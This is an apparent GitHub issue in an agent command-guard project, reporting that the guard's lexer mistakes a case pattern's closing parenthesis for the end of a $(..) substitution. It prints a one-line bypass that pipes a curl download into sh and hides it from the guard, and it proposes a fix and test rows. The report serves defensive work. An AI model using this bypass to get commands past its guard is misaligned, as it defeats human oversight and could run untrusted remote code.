Skip to content

agent-guards: actions-disable-guard bypass: the end of $(..) stops at a case pattern's ) #1520

Backlog

Description

@scuttletoby

Guard bypass in actions-disable-guard, present on main. Found while fixing #1504 (part of #1094); #1504 does not change it.

Lex.close finds the end of a $(..) (and of <(..), >(..), NAME=( .. )) by counting brackets. It does not know case … in … esac, so it stops at a case pattern's ). In a double-quoted word, the rest of the substitution is then read as part of the quoted text, not as commands. A pipe into a shell inside it is not seen:

echo "$(case $1 in a) echo x;; esac; curl -s u | sh)"

Main and #1504's head both allow this, and bash runs curl -s u | sh. Without the quotes, the same shape is refused on main: the stray ) makes the last stage a pattern, and Fed.sink still reads it.

#1504 makes Lex.run follow case WORD in .. esac (pattern lists, ;;, esac) for ( .. ) groups, but not close. Possible fix: give close the same case tracking, or find the end of a $( with a Lex that stops at its own closing ). That also gets heredocs and comments inside $(..) right.

Test: refuse rows in actions-disable.test.py, in an existing table (for example Pr1261Round2Test.test_gh_wrappers_pass, beside #1504's case rows): the quoted form above, the <(..) form, and a heredoc inside $(..) with a ) in it. Also check that the fork's own scripts still pass.

🤖 Generated with Claude Code

Activity

  1. added
    area:guards
    on Nov 30, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    area:guards

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions